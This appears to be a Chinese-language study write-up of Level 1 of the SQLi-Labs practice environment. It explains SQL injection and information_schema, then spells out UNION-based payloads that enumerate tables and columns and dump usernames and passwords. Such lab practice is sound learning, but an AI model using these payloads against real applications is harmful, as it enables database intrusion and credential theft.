SQLI_LAB

刷题刷题刷题!!!

知识扩展:

SQL

1)SQL注入介绍

SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。

2)关于SQL基础语句

增:insert into tableName(columnName1,columnName2) values(value1,value2)

删:delete from tableName where …

改:update tableName set columnName=value where …

查:select * from tableName where …

3)Information_schema数据库基本表说明:

schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。

tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。

columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。

。。。。。。待续

less1

这是进去以后的主界面

下面开始进行简单测试

判断是否存在注入点

基础语句 and 1=1  、 and 1=2 判断 这里发现页面没什么变化。尝试测试 单引号 ‘

构造的语句:-1'

发现页面出现报错信息,判断页面存在get注入。

开始构造sql语句,查询字段数量。 通常使用order by 2........

构造的语句:-1'+order+by+3--+

通过不断测试发现当数字4时开始报错,说明数据库中有3个字段。

构造的语句:-1'+order+by+4--+

知道字段数以后,开始获取数据库版本,当前库名

构造的语句:-1'+union+select+1,version(),database()--+

得到版本、库名等信息以后,开始获取表名

构造的语句:-1'+union+select+1,group_concat(table_name),database()+from information_schema.tables+where+table_schema='security'--+

获取到表名以后,开始尝试获取字段名

构造语句:-1'+union+select+1,group_concat(column_name),database()+from information_schema.columns+where+table_name='users'--+

获取到字段名后,开始尝试获取字段内容

构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password),+3+from+users--+

但是这样有点乱,所以加个换行符 正常的话应该十六的进制的数但是呢没记住就直接写了

构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password,'<hr />'),+3+from+users--+

第一关完成。。。。。。

 

SQLI_LAB------level 1的更多相关文章

  1. Java compiler level does not match解决方法

    从别的地方导入一个项目的时候,经常会遇到eclipse/Myeclipse报Description  Resource Path Location Type Java compiler level d ...

  2. Android requires compiler compliance level 5.0 or 6.0. Found '1.4' instead的解决办法

    今天在导入工程进Eclipse的时候竟然出错了,控制台输出的是: [2013-02-04 22:17:13 - takepicture] Android requires compiler compl ...

  3. Android版本和API Level对应关系

    http://developer.android.com/guide/topics/manifest/uses-sdk-element.html Platform Version       API ...

  4. [LeetCode] Binary Tree Level Order Traversal II 二叉树层序遍历之二

    Given a binary tree, return the bottom-up level order traversal of its nodes' values. (ie, from left ...

  5. [LeetCode] Binary Tree Zigzag Level Order Traversal 二叉树的之字形层序遍历

    Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to ...

  6. [LeetCode] Binary Tree Level Order Traversal 二叉树层序遍历

    Given a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, ...

  7. Android版本与api Level

    Platform Version API Level VERSION_CODE Notes Android 4.4 19 KITKAT Platform Highlights Android 4.3 ...

  8. Selenium通过WebDriver控制IE浏览器出错 Browser zoom level was set to 109%. It should be set to 100%

    错误信息: WebDriverException: Message: Unexpected error launching Internet Explorer. Browser zoom level ...

  9. pythonchallenge 解谜 Level 8

    #-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 import bz2 un=b'BZh91AY&SYA\xaf\x82\r\x00\x00 ...

  10. pythonchallenge 解谜 Level 7

    #-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 from PIL import Image x_begin, x_end = 0, 609 y_b ...

随机推荐

  1. pip-9.0.1更新到pip-10.0.1遇到的问题

    使用 pip 安装第三方库时,报错: You are using pip version 9.0.3, however version 10.0.1 is available. You should ...

  2. UNICODE UTF编码方式解析

    先明确几个概念 基础概念部分 1.字符编码方式CEF(Character Encoding Form) 对符号进行编码,便于处理与显示 常用的编码方式有 GB2312(汉字国标码 2字节) ASCII ...

  3. case语句!

    1.case 语句概述(1)case 语句的作用使用 case 语句改写 if 多分支可以使脚本结构更加清晰.层次分明.针对变量的不同取值,执行不同的命令序列.2.case 语句的结构:case 变量 ...

  4. 图解jvm--(四)内存模型

    内存模型 java 内存模型 很多人将[java 内存结构]与[java 内存模型]傻傻分不清,[java 内存模型]是 Java Memory Model(JMM)的意思. 简单的说,JMM 定义了 ...

  5. Python 爬取 热词并进行分类数据分析-[热词分类+目录生成]

    日期:2020.02.04 博客期:143 星期二   [本博客的代码如若要使用,请在下方评论区留言,之后再用(就是跟我说一声)] 所有相关跳转: a.[简单准备] b.[云图制作+数据导入] c.[ ...

  6. NSDateFormatter使用注意事项

    NSDateFormatter是用来连接NSDate和NSString之间的桥梁 它的使用方式,不(自)做(行)说(百)明(度) 要说的注意事项就是,NSString转NSDate时,NSDateFo ...

  7. Linux 修改 .bashrc

    bashrc是一个隐藏的文件,要打开并修改该文件需要: (1)命令:ls -a 找到文件 .bashrc: (2) 命令 vim ~/.bashrc 进入到文件: (3) 直接按 i 键可以对文件进行 ...

  8. Codeforces #617 (Div. 3) C. Yet Another Walking Robot

    There is a robot on a coordinate plane. Initially, the robot is located at the point (0,0)(0,0) . It ...

  9. Codeforces Round #588 (Div. 2)C(思维,暴力)

    #define HAVE_STRUCT_TIMESPEC#include<bits/stdc++.h>using namespace std;int a[27],b[27];int vis ...

  10. SystemProperities

    SystemProperties与Settings.System 1 使用 SystemProperties.get 如果属性名称以“ro.”开头,那么这个属性被视为只读属性.一旦设置,属性值不能改变 ...